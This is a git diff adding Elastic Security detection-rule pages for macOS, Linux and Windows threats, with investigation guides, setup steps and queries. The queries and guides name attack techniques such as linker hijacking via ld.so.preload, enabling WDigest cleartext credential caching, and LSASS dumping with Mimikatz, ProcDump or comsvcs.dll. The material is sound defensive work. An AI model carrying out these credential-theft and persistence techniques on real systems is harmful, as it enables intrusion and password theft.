+- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:file and event.action:(file_rename_event or rename or renamed or updated) and +not event.type:deletion and file.path:/etc/ld.so.preload and +process.name:(* and not (oneagentinstallaction or passwd or wine)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-environment-variable-via-unsigned-or-untrusted-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-environment-variable-via-unsigned-or-untrusted-parent.asciidoc new file mode 100644 index 0000000000..786830eda9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-environment-variable-via-unsigned-or-untrusted-parent.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-modification-of-environment-variable-via-unsigned-or-untrusted-parent]] +=== Modification of Environment Variable via Unsigned or Untrusted Parent + +Identifies modifications to an environment variable using the built-in launchctl command. Adversaries may execute their own malicious payloads by hijacking certain environment variables to load arbitrary libraries or bypass certain restrictions. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/rapid7/metasploit-framework/blob/master//modules/post/osx/escalate/tccbypass.rb + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Modification of Environment Variable via Unsigned or Untrusted Parent* + + +Environment variables in macOS are crucial for configuring system and application behavior. Adversaries may exploit these by using the `launchctl` command to alter variables, enabling malicious payload execution or bypassing restrictions. The detection rule identifies suspicious modifications initiated by untrusted or unsigned parent processes, focusing on atypical environment variables and excluding known safe executables, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the process tree to identify the parent process of the `launchctl` command, focusing on whether the parent process is unsigned or untrusted, as indicated by the absence or lack of trust in the `process.parent.code_signature`. +- Examine the command-line arguments used with `launchctl`, specifically looking for the `setenv` command and any unusual or suspicious environment variables that are not part of the known safe list (e.g., ANT_HOME, DBUS_LAUNCHD_SESSION_BUS_SOCKET). +- Check the execution path of the parent process to determine if it matches any known safe executables, such as those listed in the exclusion criteria (e.g., /Applications/IntelliJ IDEA CE.app/Contents/jbr/Contents/Home/lib/jspawnhelper). +- Investigate the user account under which the `launchctl` command was executed to determine if it aligns with expected behavior or if it might indicate a compromised account. +- Correlate this event with other security alerts or logs from the same host to identify any patterns or additional indicators of compromise that might suggest a broader attack or intrusion attempt. + + +*False positive analysis* + + +- Development tools like IntelliJ IDEA may trigger false positives when using the jspawnhelper executable. To mitigate this, add the executable path to the exclusion list if it is a known and trusted application in your environment. +- NoMachine software can cause false positives due to its use of nxserver.bin. If this software is regularly used and trusted, consider excluding its executable path from the detection rule. +- The kr tool located at /usr/local/bin/kr might be flagged as a false positive. If this tool is part of your standard operations, ensure its path is excluded to prevent unnecessary alerts. +- Review any other unsigned or untrusted parent processes that are part of legitimate software installations or operations. If they are verified as safe, add them to the exclusion list to reduce false positives. +- Regularly update the list of known safe executables and environment variables to reflect changes in your software inventory, ensuring that legitimate processes are not mistakenly flagged. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or further exploitation. +- Terminate any suspicious processes associated with the untrusted or unsigned parent process that initiated the `launchctl` command to halt any ongoing malicious activity. +- Conduct a thorough review of the environment variables modified by the `launchctl` command to identify any unauthorized changes and revert them to their original state. +- Analyze the parent process that triggered the alert to determine its origin and purpose, and remove any malicious or unauthorized software identified during this analysis. +- Restore the system from a known good backup if any critical system components or configurations have been compromised. +- Implement additional monitoring and logging for `launchctl` usage and environment variable modifications to detect similar threats in the future. +- Escalate the incident to the security operations team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "launchctl" and + (process.parent.code_signature.exists == false or process.parent.code_signature.trusted == false) and + process.args == "setenv" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Sub-technique: +** Name: Path Interception by PATH Environment Variable +** ID: T1574.007 +** Reference URL: https://attack.mitre.org/techniques/T1574/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-safari-settings-via-defaults-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-safari-settings-via-defaults-command.asciidoc new file mode 100644 index 0000000000..e67b299a56 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-safari-settings-via-defaults-command.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-modification-of-safari-settings-via-defaults-command]] +=== Modification of Safari Settings via Defaults Command + +Identifies changes to the Safari configuration using the built-in defaults command. Adversaries may attempt to enable or disable certain Safari settings, such as enabling JavaScript from Apple Events to ease in the hijacking of the users browser. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objectivebythesea.com/v2/talks/OBTS_v2_Zohar.pdf + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Modification of Safari Settings via Defaults Command* + + +The 'defaults' command in macOS is a utility that allows users to read, write, and manage macOS application preferences, including Safari settings. Adversaries may exploit this command to alter Safari configurations, potentially enabling harmful features like JavaScript from Apple Events, which can facilitate browser hijacking. The detection rule monitors for suspicious 'defaults' command usage targeting Safari settings, excluding benign preference changes, to identify potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the 'defaults' command with arguments targeting Safari settings, specifically looking for any suspicious or unauthorized changes. +- Check the user account associated with the process execution to determine if the action was performed by a legitimate user or an unauthorized entity. +- Investigate the system's recent activity logs to identify any other unusual or suspicious behavior around the time the 'defaults' command was executed. +- Examine the Safari settings before and after the change to assess the impact and identify any potentially harmful configurations, such as enabling JavaScript from Apple Events. +- Correlate the event with other security alerts or incidents to determine if this action is part of a broader attack or compromise attempt. + + +*False positive analysis* + + +- Changes to Safari settings for legitimate user preferences can trigger alerts, such as enabling or disabling search suggestions. Users can create exceptions for these specific settings by excluding them from the detection rule. +- System administrators may use the defaults command to configure Safari settings across multiple devices for compliance or user experience improvements. These actions can be whitelisted by identifying the specific process arguments used in these administrative tasks. +- Automated scripts or management tools that adjust Safari settings as part of routine maintenance or updates may cause false positives. Users should identify these scripts and exclude their specific process arguments from the detection rule. +- Developers testing Safari configurations might frequently change settings using the defaults command. Excluding known developer machines or user accounts from the rule can help reduce false positives. +- Educational or training environments where users are instructed to modify Safari settings for learning purposes can lead to alerts. Identifying and excluding these environments or sessions can mitigate unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent further malicious activity or data exfiltration. +- Terminate any suspicious processes related to the 'defaults' command that are currently running on the affected device. +- Revert any unauthorized changes made to Safari settings by restoring them to their default or previously known safe state. +- Conduct a thorough scan of the affected device using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or malicious scripts. +- Review and update the device's security settings to prevent unauthorized changes, including disabling unnecessary Apple Events and restricting the use of the 'defaults' command to authorized personnel only. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other devices in the network are affected. +- Implement enhanced monitoring and alerting for similar 'defaults' command usage across the network to detect and respond to future attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "defaults" and process.args like~ "write" and + process.command_line like~ "*com.apple.Safari*" and + process.command_line like~ ("*IncludeDevelopMenu*", "*JavaScript*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Technique: +** Name: Plist File Modification +** ID: T1647 +** Reference URL: https://attack.mitre.org/techniques/T1647/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-the-mspkiaccountcredentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-the-mspkiaccountcredentials.asciidoc new file mode 100644 index 0000000000..fb9a8e6813 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-the-mspkiaccountcredentials.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-modification-of-the-mspkiaccountcredentials]] +=== Modification of the msPKIAccountCredentials + +Identify the modification of the msPKIAccountCredentials attribute in an Active Directory User Object. Attackers can abuse the credentials roaming feature to overwrite an arbitrary file for privilege escalation. ms-PKI-AccountCredentials contains binary large objects (BLOBs) of encrypted credential objects from the credential manager store, private keys, certificates, and certificate requests. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming +* https://social.technet.microsoft.com/wiki/contents/articles/11483.windows-credential-roaming.aspx +* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Data Source: Active Directory +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 121 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Modification of the msPKIAccountCredentials* + + +The msPKIAccountCredentials attribute in Active Directory stores encrypted credential data, including private keys and certificates. Adversaries may exploit this by altering the attribute to escalate privileges, potentially overwriting files. The detection rule identifies such modifications by monitoring specific directory service events, focusing on changes to this attribute, excluding actions by the system account, thus highlighting unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the event logs for the specific event code 5136 to gather details about the modification event, including the timestamp and the user account involved. +- Examine the winlog.event_data.SubjectUserSid field to identify the user who attempted the modification, ensuring it is not the system account (S-1-5-18). +- Investigate the history and behavior of the identified user account to determine if there are any previous suspicious activities or anomalies. +- Check for any recent changes or anomalies in the affected Active Directory User Object, focusing on the msPKIAccountCredentials attribute. +- Assess the potential impact of the modification by identifying any files or systems that may have been affected by the altered credentials. +- Correlate this event with other security alerts or logs to identify any patterns or coordinated activities that might indicate a broader attack. + + +*False positive analysis* + + +- Routine administrative tasks by IT personnel may trigger the rule. To manage this, create exceptions for specific user accounts or groups known to perform these tasks regularly. +- Scheduled maintenance scripts or automated processes that modify Active Directory attributes could be mistaken for unauthorized changes. Identify these processes and exclude their associated user accounts or service accounts from the rule. +- Software updates or installations that require changes to user credentials might cause false positives. Document these events and adjust the rule to ignore modifications during known update windows. +- Legitimate changes made by third-party applications integrated with Active Directory can be flagged. Review and whitelist these applications by excluding their associated user accounts or service accounts. +- Temporary changes during incident response or security audits may appear suspicious. Coordinate with security teams to ensure these activities are recognized and excluded from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Revoke any potentially compromised certificates and private keys associated with the affected msPKIAccountCredentials attribute to prevent misuse. +- Conduct a thorough review of recent changes in Active Directory, focusing on the msPKIAccountCredentials attribute, to identify any unauthorized modifications or access patterns. +- Reset passwords and regenerate keys for any accounts or services that may have been affected to ensure that compromised credentials are no longer valid. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach. +- Implement additional monitoring on the affected systems and accounts to detect any further suspicious activity or attempts to exploit similar vulnerabilities. +- Review and update access controls and permissions in Active Directory to ensure that only authorized personnel have the ability to modify sensitive attributes like msPKIAccountCredentials. + +==== Setup + + + +*Setup* + + +Audit Directory Service Changes must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-changes + + +==== Rule query + + +[source, js] +---------------------------------- +event.code:"5136" and host.os.type:"windows" and winlog.event_data.AttributeLDAPDisplayName:"msPKIAccountCredentials" and + winlog.event_data.OperationType:"%%14674" and + not winlog.event_data.SubjectUserSid : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-wdigest-security-provider.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-wdigest-security-provider.asciidoc new file mode 100644 index 0000000000..931b7a2c83 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-of-wdigest-security-provider.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-modification-of-wdigest-security-provider]] +=== Modification of WDigest Security Provider + +Identifies attempts to modify the WDigest security provider in the registry to force the user's password to be stored in clear text in memory. Windows 8.1+ and Server 2012 R2+ disable WDigest plaintext credential caching by default, but setting UseLogonCredential to 1 re-enables it, causing LSASS to retain cleartext passwords for subsequent interactive logons. Adversaries abuse this to prepare for credential dumping from LSASS memory. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.csoonline.com/article/567747/how-to-detect-and-halt-credential-theft-via-windows-wdigest.html +* https://www.praetorian.com/blog/mitigating-mimikatz-wdigest-cleartext-credential-theft?edition=2019 +* https://frsecure.com/compromised-credentials-response-playbook/ +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Modification of WDigest Security Provider* + + +*Possible investigation steps* + + +- Is the write to the active ControlSet, and does host context explain enablement? + - Focus: `registry.path`, `registry.data.strings`, and `host.id`. + - Implication: escalate when the active ControlSet is enabled, leaving cleartext credentials in LSASS for later logons; lower suspicion only for a recognized lab or legacy compatibility host with the exact expected pattern. + +- Which process made the change, and does its identity fit? + - Focus: `process.executable`, `process.command_line`, `process.code_signature.subject_name`, and `process.parent.command_line`. !{investigate{"description":"","label":"Process events by WDigest writer","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: pivot on `host.id` plus `process.entity_id`; if absent, bound to alert time and host. + - Implication: escalate when the writer is unsigned, user-writable, renamed, script-launched, or has an unrelated parent; lower suspicion only when identity, parent, and registry outcome match one recognized validation activity. Trusted signer alone is not clearance. + +- Does user and session context explain the change? + - Focus: `user.id`, `user.domain`, `process.Ext.session_info.logon_type`, and `process.Ext.token.integrity_level_name`. + - Implication: escalate when a normal user, unexpected admin, service account, remote session, or elevated token performs the write outside a recognized test path. + +- Did the same process leave WDigest enabled or change adjacent security registry state? + - Focus: registry events from the same `process.entity_id`: `registry.path`, `registry.value`, and `registry.data.strings`. !{investigate{"description":"","label":"Registry events by WDigest writer","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: check for WDigest reversal and LSA or SecurityProviders changes before widening to the host. + - Implication: escalate when WDigest stays enabled or the writer weakens LSA or security-provider settings; scope narrower when the write is isolated, promptly reversed, and no contradictory registry evidence remains. + +- Does process activity after the write show credential-dumping preparation or execution? + - Focus: child process events from `process.entity_id`: `process.executable` and `process.command_line`. !{investigate{"description":"","label":"Child process events by WDigest writer","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when children show Mimikatz/sekurlsa, ProcDump or comsvcs.dll LSASS dumping, CrackMapExec, PowerShell remote execution, archives, or cleanup; absent follow-on evidence narrows extraction proof but does not clear enablement. + +- Did any accounts authenticate while WDigest was enabled? + - Focus: logon events after `@timestamp`: `event.code` 4624, `winlog.event_data.TargetUserName`, `winlog.event_data.AuthenticationPackageName`, `winlog.logon.type`, and `source.ip`. !{investigate{"description":"","label":"Logon events on the WDigest host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Hint: expand until WDigest is disabled or the host is contained; for domain NTLM, search domain-controller 4776 records for the alert host as source workstation. + - Implication: escalate credential exposure when successful WDigest or privileged logons occur after enablement. Missing authentication telemetry is unresolved, not benign. + +- If local evidence is suspicious or unresolved, do related alerts change scope? + - Focus: alerts for `user.id`, especially credential access, privilege escalation, or lateral movement. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare host alerts for precursor access, LSASS-oriented follow-on, staging, or cleanup. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the same user or host shows adjacent post-compromise behavior; keep local when related alerts are quiet and local evidence fits one recognized workflow. + +- Escalate when writer identity, session context, registry changes, unreverted WDigest exposure, follow-on activity, or related alerts indicate unauthorized credential-protection weakening; close only when those categories align with one confirmed activity and no contradictions remain; preserve and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Authorized security validation or legacy compatibility testing may enable WDigest. Confirm `process.executable`, `process.command_line`, `process.parent.command_line`, `user.id`, `host.id`, `registry.data.strings`, prompt reversion, and no contradictory registry or LSASS-oriented follow-on. If telemetry cannot prove the activity, leave unresolved. +- Build exceptions from the minimum confirmed workflow: `process.executable` or signer, `process.parent.command_line`, `user.id`, `host.id`, `registry.path`, and expected `registry.data.strings`. Avoid exceptions on `registry.path`, `process.name`, signer, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment, document the aligned workflow evidence, and create an exception only when the confirmed evidence pattern is expected to repeat and can be scoped narrowly. +- If suspicious but unconfirmed, preserve the alert, process tree, command lines, relevant registry events, related-alert results, and current WDigest state before containment. Apply reversible containment first, such as heightened monitoring or EDR network restrictions, and use host isolation only when follow-on dumping, unreverted exposure on a sensitive host, or broader compromise evidence justifies the operational impact. +- If confirmed malicious, preserve the writer `process.entity_id`, process tree, command lines, registry evidence, and current WDigest state; then isolate the host when the evidence supports it, restore WDigest to the disabled state, and eradicate only the scripts, binaries, registry changes, and persistence found during the investigation. +- After containment, review other registry changes by the same process and scope accounts that may have authenticated while WDigest was enabled through available authentication records; when those records are unavailable, treat credential exposure as unresolved and prioritize privileged, service, and lateral-movement-capable accounts for credential hygiene. +- Post-incident hardening: restrict who can modify WDigest and related LSA policy, validate baseline configuration through endpoint or policy management, retain registry and process telemetry for this host class, and document the confirmed workflow or malicious pattern for future analysts. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type in ("creation", "change") and + registry.value : "UseLogonCredential" and + registry.path : "*\\SYSTEM\\*ControlSet*\\Control\\SecurityProviders\\WDigest\\UseLogonCredential" and + registry.data.strings : ("1", "0x00000001") and + not (process.executable : "?:\\Windows\\System32\\svchost.exe" and user.id : "S-1-5-18") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-or-removal-of-an-okta-application-sign-on-policy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-or-removal-of-an-okta-application-sign-on-policy.asciidoc new file mode 100644 index 0000000000..842d545af4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-modification-or-removal-of-an-okta-application-sign-on-policy.asciidoc @@ -0,0 +1,141 @@ 